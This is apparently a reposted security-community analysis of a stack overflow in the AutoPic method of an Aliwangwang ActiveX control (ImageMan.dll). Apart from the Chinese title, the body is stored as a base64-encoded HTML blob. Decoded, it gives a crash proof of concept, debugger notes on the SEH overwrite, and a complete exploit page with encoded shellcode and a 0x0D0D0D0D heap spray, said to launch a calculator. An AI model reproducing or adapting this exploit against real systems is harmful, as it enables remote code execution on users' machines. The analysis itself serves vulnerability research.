分析某旺ActiveX控件ImageMan.dll栈溢出漏洞

PGgxIGlkPSJ0b2MtMCI+MHgx77ya5ryP5rSe5LuL57uNPC9oMT48cD7pmL/ph4zml7rml7pBY3RpdmVY5o6n5Lu2SW1hZ2VNYW4uZGxs5Yqo5oCB6ZO+5o6l5bqT5Lit5pyJ5LiA5Liq5Ye95pWwQXV0b1BpY++8jOeUseS6juacquWvueS8oOWFpeeahOWPguaVsOmVv+W6pui/m+ihjOagoemqjOWvvOiHtOagiOa6ouWHuu+8jOWcqOaLt+i0nee8k+WGsuWMuuaVsOaNruaXtuS8muivu+WPluWIsOS4jeWPr+eUqOWcsOWdgO+8jOS7juiAjOS9v+eoi+W6j+i/m+WFpVNFSOW8guW4uOWkhOeQhua1geeoi++8jOmAmui/h+iuoeeul+Wlvee8k+WGsuWMuuWIsFNFSOW8guW4uOWkhOeQhue7k+aehOeahOS9jee9rueUqOaMh+WumumVv+W6pueahOWtl+espuS4sueyvuehruimhuebllNFSOaMh+mSiOS7juiAjOaOp+WItueoi+W6j+aJp+ihjOa1geeoi+i+vuWIsOaJp+ihjOS7u+aEj+S7o+eggeeahOaViOaenOOAgjwvcD48aDEgaWQ9InRvYy0xIj4weDLvvJrmvI/mtJ7liIbmnpDnjq/looM8L2gxPjxwPuaTjeS9nOezu+e7n++8mndpbmRvd3NYUCBTUDM8YnIvPumYv+mHjOaXuuaXuueJiOacrO+8mkFsaUlNMjAxMF90YW9iYW8oNi41MC4wMEMpPGJyLz7osIPor5XlmajvvJpPRDwvcD48aDEgaWQ9InRvYy0yIj4weDPvvJrmvI/mtJ7lpI3njrA8L2gxPjxwPlBPQ+S7o+eggeWmguS4i++8mjwvcD48cHJlIGNsYXNzPSJicnVzaDpjcHA7dG9vbGJhcjpmYWxzZSI+PGh0bWw+CiZuYnNwOzxib2R5PgombmJzcDs8b2JqZWN0Jm5ic3A7Y2xhc3NpZD0iY2xzaWQ6MTI4RDBFMzgtMUZGNC00N0MzLUIwRjctMEJBRjkwRjU2OEJGIiZuYnNwO2lkPSJ0YXJnZXQiPjwvb2JqZWN0PgombmJzcDs8c2NyaXB0PgombmJzcDt2YXImbmJzcDtidWZmZXImbmJzcDs9Jm5ic3A7JiMzOTsmIzM5OzsKJm5ic3A7d2hpbGUmbmJzcDsoYnVmZmVyLmxlbmd0aCZuYnNwOzwmbmJzcDsxMTExKSZuYnNwO2J1ZmZlcis9IkEiOwombmJzcDt0YXJnZXQuQXV0b1BpYyhidWZmZXIsImRlZmF1bHRWIik7CiZuYnNwOzwvc2NyaXB0PgombmJzcDs8L2JvZHk+CjwvaHRtbD48L3ByZT48cD48YnIvPjwvcD48cD7mkK3lu7rlpb3njq/looPlkI7vvIznlKhPROmZhOWKoElF5rWP6KeI5Zmo5ZCORjnov5DooYxJRe+8jOeUqElF5omT5byAUE9D5paH5Lu25ZCO5o+Q56S66K+75Y+W5Yiw5LqG5LiA5Liq5LiN5Y+v55So55qE5Zyw5Z2A77yM5ZCM5pe25Y+v5Lul55yL5Yiw5Y+z5LiL6KeS55qE5qCI5Yy66KKr6LaF6ZW/55qE5a2X56ym5Liy4oCdQUFBLi4uLi4u77yIYXNjaWnkuLo0Me+8ieKAneWhq+a7oeS6hu+8jOW6lOivpeaYr+WPkeeUn+S6hue8k+WGsuWMuua6ouWHuu+8mjwvcD48cD48aW1nIHNyYz0iaHR0cHM6Ly9iYnMuemthcS5jbi91cGxvYWQvdXNlcmZpbGUvMTkzMi9mMjZkNzExMDkxNjllNTFhY2VhNTdlNTZkYjQ4YmYzZS5wbmciLz48L3A+PGgxIGlkPSJ0b2MtMyI+MHg077ya5ryP5rSe5YiG5p6QPC9oMT48cD7mjInigJxDcnRsK0Yy4oCd55SoT0Tph43mlrDliqDovb3mraTml7ZJReW5tui/kOihjO+8jOWFiOS4jeWKoOi9vVBPQ+aWh+S7tu+8jOaMieKAnEFMVCtF4oCd5omT5byA5qih5Z2X5YiX6KGo54S25ZCO5om+5YiwT0xFQVVUMzLvvIzlj4zlh7vov5vlhaXor6XmqKHlnZfvvIzmjqXnnYDmjInigJxDcnRsK07igJ3lnKjlh73mlbDliJfooajkuK3mib7liLBEaXNwQ2FsbEZ1bmPvvIzlj4zlh7vov5vlhaXor6Xlh73mlbDvvIzlvoDkuIvmib7liLDigJxjYWxsCiBlY3jigJ3mjIfku6TvvIzlj4zlh7vkuIvmlq3ngrnvvIznhLblkI7nlKhJRea1j+iniOWZqOaJk+W8gFBPQ+aWh+S7tu+8jOeoi+W6j+S8muaWreWcqOS5i+WJjeeahOKAnGNhbGwgZWN44oCd5aSE77yaPC9wPjxwPjxici8+PC9wPjxwPjxpbWcgc3JjPSJodHRwczovL2Jicy56a2FxLmNuL3VwbG9hZC91c2VyZmlsZS8xOTMyLzAxNDYzNWY0MDdhZWY5MTcxMGM0MTEzOGRjOTQ5ZWVhLnBuZyIvPjwvcD48cD48YnIvPjwvcD48cD7nhLblkI5GN+WNleatpei/m+WFpeivpeWHveaVsO+8jOadpeWIsOWHveaVsEF1dG9QaWPnmoTlhaXlj6PlpITvvJo8L3A+PHA+PGJyLz48L3A+PHA+PGltZyBzcmM9Imh0dHBzOi8vYmJzLnprYXEuY24vdXBsb2FkL3VzZXJmaWxlLzE5MzIvN2Y4Yjk3NTZkNWQ5Yjc4YmE3MzJiMzRmOWJmNjRlOGYucG5nIi8+PC9wPjxwPkY45b6A5LiL5omn6KGM5bCx55yL5Yiw55So5LqO6aqM6K+B57yT5Yay5Yy65rqi5Ye655qE6LaF6ZW/5a2X56ym5Liy4oCcQUFBQS4uLi4uLuKAnTo8L3A+PHA+PGltZyBzcmM9Imh0dHBzOi8vYmJzLnprYXEuY24vdXBsb2FkL3VzZXJmaWxlLzE5MzIvMGI5MDc4MmFmYzk4MGQwMWMxZTcxMzk5MzZlZDE4MjQucG5nIi8+PC9wPjxwPuaOpeedgOW+gOS4i+i1sOadpeWIsDB4MTAwMTFDQUPvvIzmuqLlh7rlsLHlj5HnlJ/lnKjov5nph4zvvJo8L3A+PHA+PGltZyBzcmM9Imh0dHBzOi8vYmJzLnprYXEuY24vdXBsb2FkL3VzZXJmaWxlLzE5MzIvNjY4YTQ0OWNjODA3MTA0NGY5ZTQzNzQ4NTEyNjI5YTcucG5nIi8+PC9wPjxwPjxici8+PC9wPjxwPuWPr+S7peWPkeeOsOaLt+i0neWtl+espuS4suS5i+WJjeacquWvueWtl+espuS4sumVv+W6pui/m+ihjOagoemqjO+8jOacgOe7iOWvvOiHtOa6ouWHuuOAgjwvcD48cD7lj5HnlJ/muqLlh7rlkI7loIbmoIjlubPooaHooqvnoLTlnY/vvIznqIvluo/lh7rnjrDlvILluLjvvIzlvIDlp4vov5vlhaXlvILluLjlpITnkIbmtYHnqIvvvIznlLHkuo7nvJPlhrLljLrkuK3nmoTlrZfnrKbkuLLplb/luqbov4fplb/vvIzopobnm5bkuobmoIjljLrkuK3nmoTlvILluLjlpITnkIbnu5PmnoTmjIfpkojvvIzkuo7mmK/lj6/ku6XpgJrov4fnsr7lv4PmnoTpgKDkvKDlhaXnmoTlrZfnrKbkuLLvvIzmjqfliLblpb3opobnm5blvILluLjlpITnkIbnu5PmnoTmjIfpkojnmoTlrZfoioLvvIzku47ogIzlnKjmuqLlh7rlj5HnlJ/lkI7mjqfliLZlaXDliLDmjIflrprkvY3nva7miafooYxzaGVsbGNvZGXjgII8L3A+PHA+MHg177ya5ryP5rSe5Yip55SoPGJyLz7mvI/mtJ7liKnnlKjku6PnoIHvvIhFWFDvvInlj4LogIPkuobms4nlk6XlhpnnmoTvvIzkvb/nlKjnmoTmioDmnK/mmK/luLjnlKjnmoTloIbllrflsITvvIzmuqLlh7rlkI7nsr7noa7opobnm5ZTRUjmjIfpkojvvIzlvZPnqIvluo/miafooYzlvILluLjlpITnkIbnv7Doi4/ml7blsLHkvJrot7PovazliLDmjIflrprlnLDlnYDvvIzov5vlhaXlkI7loIbllrfku6PnoIHlkI7lsLHlj6/ku6XmiafooYzku7vmhI/ku6PnoIE8L3A+PHByZSBjbGFzcz0iYnJ1c2g6Y3BwO3Rvb2xiYXI6ZmFsc2UiPjxodG1sPgo8Ym9keT4KPG9iamVjdCZuYnNwO2NsYXNzaWQ9ImNsc2lkOjEyOEQwRTM4LTFGRjQtNDdDMy1CMEY3LTBCQUY5MEY1NjhCRiImbmJzcDtpZD0idGFyZ2V0Ij48L29iamVjdD4mbmJzcDsKPHNjcmlwdD4KCnNoZWxsY29kZSZuYnNwOz0mbmJzcDt1bmVzY2FwZSgKJiMzOTsldWM5MzEldWU5ODMldWQ5ZGUldWQ5ZWUldTI0NzQldTViZjQldTczODEldTNkMTMldTVlNDYldTgzOTUmIzM5OysKJiMzOTsldWZjZWIldWY0ZTIldWFlYzEldTk1MWEldTQ2M2QldWQwZDUldWNkMDEldTkwMjIldTQ3NDUldTFlYjEmIzM5OysKJiMzOTsldTVlNzIldWNhZDUldTQ3MWQldWRjYjUldTcyYjYldTk0ZDUldTc3ZDMldTBjOWUldWMyOTEldWUxOWUmIzM5OysKJiMzOTsldTg3M2EldTk4OTQldTg0M2MldTYxYjUldTEyMDYldTkxN2EldWEzNDgldWNhZDUldTQ3MTkldWYzYjUmIzM5OysKJiMzOTsldTRhYjYldTFlMTUldTVhNjIldTdlNWYldTVhYjYldTk0ZDUldWNmZDYldWIxMDIldTg1MzkldTU1NmYmIzM5OysKJiMzOTsldWNkNTkldWE1MWUldTg2YjgldTk5MjYldTA2YjYldTFlNTIldTVhNGQldTFlZjMldTRlNTUldTljYjUmIzM5OysKJiMzOTsldWM2YjYldTk1ZWUldTQ2M2QldWZkZDUldTE5MDEldTYzNmYldTEwNWQldTZkZDcldTg2YmUldWM1MjUmIzM5OysKJiMzOTsldTM4NTUldTc3ODYldTJlNGUldTZiYzYldTQ4YjcldTZhMDkldTI1ZGEldWY5M2YldTQ2NWUldTk1NWUmIzM5Oyk7Cgpub3BzPXVuZXNjYXBlKCYjMzk7JXU5MDkwJXU5MDkwJiMzOTspOwpoZWFkZXJzaXplJm5ic3A7PTIwOwpzbGFja3NwYWNlPSZuYnNwO2hlYWRlcnNpemUmbmJzcDsrJm5ic3A7c2hlbGxjb2RlLmxlbmd0aDsKCndoaWxlKG5vcHMubGVuZ3RoJm5ic3A7PCZuYnNwO3NsYWNrc3BhY2UpJm5ic3A7bm9wcys9Jm5ic3A7bm9wczsKZmlsbGJsb2NrPSZuYnNwO25vcHMuc3Vic3RyaW5nKDAsJm5ic3A7c2xhY2tzcGFjZSk7CmJsb2NrPSZuYnNwO25vcHMuc3Vic3RyaW5nKDAsJm5ic3A7bm9wcy5sZW5ndGgtJm5ic3A7c2xhY2tzcGFjZSk7Cgp3aGlsZSgmbmJzcDtibG9jay5sZW5ndGgrJm5ic3A7c2xhY2tzcGFjZTwweDUwMDAwKSZuYnNwO2Jsb2NrPSZuYnNwO2Jsb2NrKyZuYnNwO2Jsb2NrKyZuYnNwO2ZpbGxibG9jazsKbWVtb3J5PW5ldyZuYnNwO0FycmF5KCk7Cgpmb3IoJm5ic3A7Y291bnRlcj0wOyZuYnNwO2NvdW50ZXI8MjAwOyZuYnNwO2NvdW50ZXIrKykmbmJzcDsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7bWVtb3J5W2NvdW50ZXJdPSZuYnNwO2Jsb2NrJm5ic3A7KyZuYnNwO3NoZWxsY29kZTsKcz0mIzM5OyYjMzk7Owpmb3IoJm5ic3A7Y291bnRlcj0wOyZuYnNwO2NvdW50ZXI8PTEwMDA7Jm5ic3A7Y291bnRlcisrKSZuYnNwOwombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtzKz11bmVzY2FwZSgiJTBEJTBEJTBEJTBEIik7Cgp0YXJnZXQuQXV0b1BpYyhzLCJkZWZhdWx0ViIpOwoKPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPjwvcHJlPjxwPjxici8+PC9wPjxwPuaJk+W8gOivpUhUTUzpobXpnaLlkI7lj6/ku6XnnIvliLDmiJDlip/lvLnlh7rkuoborqHnrpflmajvvJo8L3A+PHA+PGJyLz48L3A+PHA+PGltZyBzcmM9Imh0dHBzOi8vYmJzLnprYXEuY24vdXBsb2FkL3VzZXJmaWxlLzE5MzIvNzI5MzdiYjVlY2QxNjBhNGQ3MjVhNDk4MjJiYWUyNGUucG5nIi8+PC9wPjxwPjxici8+PC9wPjxwPui9rOiHquWFiOefpeekvuWMujxici8+PC9wPg==